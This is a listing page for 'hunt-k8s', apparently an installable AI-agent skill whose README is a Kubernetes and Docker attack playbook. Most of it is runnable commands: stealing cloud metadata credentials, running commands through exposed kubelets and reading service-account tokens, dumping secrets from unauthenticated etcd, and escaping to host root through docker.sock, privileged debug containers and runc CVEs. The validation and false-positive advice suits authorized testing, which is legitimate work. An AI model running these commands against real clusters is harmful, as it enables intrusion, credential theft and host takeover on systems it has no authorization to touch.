mcpField
H
hunt-k8s

hunt-k8s

github.com/uphiagoSecurity1.3k40 installsUpdated 8w ago
Repository

About hunt-k8s

A Kubernetes and Docker security testing skill for identifying and validating exposure in clusters, kubelets, etcd, service-account tokens, dashboards, and container runtimes. It prioritizes proof of actual access or state change over conclusions drawn from status codes alone.

Key features

  1. 01Kubernetes API privilege checks
  2. 02Kubelet and nodes/proxy testing
  3. 03Unauthenticated etcd checks
  4. 04Service-account token assessment
  5. 05Docker socket and runtime checks
  6. 06Evidence and false-positive guidance

Use cases

  1. 01Validating anonymous Kubernetes access
  2. 02Testing kubelet or API-mediated pod execution exposure
  3. 03Checking etcd and container sockets for sensitive access
  4. 04Confirming impact while avoiding production workload changes

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-k8s

After installing, type/hunt-k8sin Claude Code to confirm it loaded.

Details

From the project README

HUNT-K8S — Kubernetes & Docker Security

Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.

Highest-value findings:

  • K8s API anonymous cluster-admin — system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
  • Kubelet 10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
  • API-server-mediated kubelet RCE — /api/v1/nodes/<node>/proxy/run/... reaches the kubelet through the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
  • etcd 2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
  • docker.sock exposure — SSRF/LFI/RCE reaching /var/run/docker.sock → create --privileged container, bind-mount host / → host root.
  • Container escape via runc — Leaky Vessels (CVE-2024-21626): WORKDIR/process.cwd pointing at a leaked /proc/self/fd/<n> host FD → break out of an attacker-controlled image/exec to host root.
  • SA token abuse — auto-mounted token at /var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
  • K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.

OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.

  • A 200 on /api/v1/namespaces does not mean cluster-admin. The API server returns 200 with an RBAC-filtered (often empty items: []) list to any principal that can reach list namespaces — anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value.
  • 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has /pods, /stats, /metrics, NO exec/run. 10250 (HTTPS) is where /run and /exec live. Do not report "kubelet RCE" off a 10255 hit.
  • Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. curl http://<token>.<collab> from inside the pod via /run). A delayed response or an echoed URL is NOT proof.
  • Impact proof = the artifact. For exec: the literal id/hostname output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostname of the node, distinct from the container's).
  • Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only id in a pod you spun up if policy allows, or limit to a single non-destructive id and stop.

Phase 1 — Fingerprint & Port Discovery

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl --max-time 30 --connect-timeout 10 -s -X PUT "http://[REDACTED_IP]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl --max-time 30 --connect-timeout 10 -s -H "X-aws-ec2-metadata-token: $TOK" "http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"
curl --max-time 30 --connect-timeout 10 -s "http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl --max-time 30 --connect-timeout 10 -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

Note the gitVersion — it gates every CVE below.


Phase 2 — Kubernetes API Anonymous / Low-Priv Access

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl --max-time 30 --connect-timeout 10 -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.


Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right

The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket streaming endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl --max-time 30 --connect-timeout 10 -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558 (host-network trust): on affected kube-proxy, services bound to the node's 127.0.0.1 (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.


Phase 4 — API-Server-Mediated Kubelet RCE (nodes/proxy)

When 10250 is firewalled but you hold a token (even a low-priv pod SA) with nodes/proxy, route exec through the API server:

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl --max-time 30 --connect-timeout 10 -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

nodes/proxy in any bound role is effectively node-wide RCE. CVE-2022-3294 (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.


Phase 5 — etcd Unauth (Port 2379)

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl --max-time 30 --connect-timeout 10 -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. False positive: a 200 from etcd peer port 2380 or a TLS-required port returning a handshake error is not unauth client access — only a successful range/get with key data is.


Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)

# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
#          "exp" (projected tokens rotate ~1h — a captured token may already be dead),
#          "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.

# Honest privilege check, then prove with a real read
curl --max-time 30 --connect-timeout 10 -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl --max-time 30 --connect-timeout 10 -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"

EphemeralContainers node-shell escalation: with pods/ephemeralcontainers (or pod create), attach a debug container that shares the host namespaces to escape the pod:

kubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'

Phase 7 — Docker Socket Exposure & runc Container Escape

# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json

# Privileged container bind-mounting host root → read/write host fs (host escape)
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST http://localhost/v1.41/containers/create?name=poc \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl --max-time 30 --connect-timeout 10 -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).

Container-escape CVEs (gate on runc/version):

  • CVE-2024-21626 — "Leaky Vessels" (runc ≤ 1.1.11): a leaked host file descriptor via /proc/self/fd/<n> lets a malicious image (WORKDIR /proc/self/fd/N) or runc exec cwd escape to the host filesystem → host RCE. Test only with an image you control on a build/registry surface where you can influence the Dockerfile.
  • CVE-2019-5736 (runc): overwrite the host /proc/self/exe (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.
  • CVE-2022-0492 (cgroups v1 release_agent): a container with CAP_SYS_ADMIN (or able to mount cgroupfs) writes a release_agent that executes on the host → escape. Check container caps first.

Phase 8 — Dashboard, Admission, Helm/Tiller Remnants

# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/secret/default"            # secrets list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/pod/default"               # pods list view
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET:8443/api/v1/namespace"                 # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)

# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release

# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl --max-time 30 --connect-timeout 10 -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.

Chain Table

K8s findingChain toImpact
API anon with confirmed secret readextract SA/TLS/app credsFull cluster compromise
nodes/proxy tokenAPI-server-mediated /run → pod RCE → SA tokenNode-wide RCE → escalation
Kubelet 10250 /runexec in any pod → steal SA token → APICluster privilege escalation
etcd 2379 unauthdump all Secrets (if unencrypted) → replay tokenFull credential dump
docker.sockprivileged container + host bind-mountHost root
CVE-2024-21626 (runc)malicious image/exec → host FD escapeContainer → host root
EphemeralContainers / pods createprivileged/hostPID debug containerPod → node escape
Projected SA token (aud matches)API access scoped to its real RBACDepends on RBAC — verify first
Tiller 44134 exposedhelm install as Tiller SACluster-admin if Tiller is privileged

False-Positive Killers

  • Anon 200 ≠ cluster-admin. RBAC-filtered list returns 200/empty items. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.
  • 10255 ≠ 10250. Read-only kubelet has no exec/run. "Kubelet RCE" must come from a /run output or a completed /exec stream on 10250.
  • /exec plain-POST returns 302, not output. Seeing no body is NOT "patched" — follow the stream (kubeletctl/websocat) before concluding either way.
  • Projected/bound SA token may be dead or wrong-audience. Decode exp and aud; a Vault/OIDC-audience token will not authenticate to the API server.
  • etcd plaintext assumption. If EncryptionConfiguration is enabled, Secret values in etcd are ciphertext — don't claim "plaintext secrets" without showing decoded bytes.
  • Version-gated CVEs. Confirm gitVersion (Phase 1) / runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.
  • Dashboard 200 on the HTML shell is just the login page; only a 200 with real resource JSON under /api/v1/<resource>/<ns> proves token-less data access.

Validation Checklist

  • API anon: SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).
  • Kubelet: literal id/hostname output returned from 10250 /run, or a completed /exec stream — not a bare 302.
  • nodes/proxy RCE: command output returned through /api/v1/nodes/<node>/proxy/run/... with your token.
  • etcd: decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.
  • docker.sock / escape: the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.
  • SA token: aud/exp decoded and shown valid; impact bounded to its real RBAC.
  • OOB: any outbound/SSRF hop confirmed via Collaborator/interactsh subdomain.

Severity:

  • API anon→secret read, kubelet/nodes-proxy RCE, etcd dump, docker.sock/runc escape, CVE-2018-1002105: Critical
  • Dashboard token-less data access, exposed Tiller: High
  • Read-only kubelet 10255, anon /version//pods info disclosure: Medium

Verification

Run this self-test to confirm k8s hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-k8s" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • Anonymous kubelet access without pod exec — read-only kubelet access is recon. Need pod exec, log exfil, or credential access.
  • etcd without auth but encrypted — etcd may store encrypted secrets. Test secret decryption before claiming credential theft.
  • Kubernetes dashboard without login — the dashboard's skip-login option is a known misconfiguration. Test actual pod exec, not just visibility.
  • RBAC enumeration without exploitation — listing roles is informational. Need to demonstrate what the roles allow you to do.
  • Service account token without cluster-admin — default service account tokens have limited permissions. Verify the token's actual permissions before claiming cluster takeover.

Comments

Markdown supported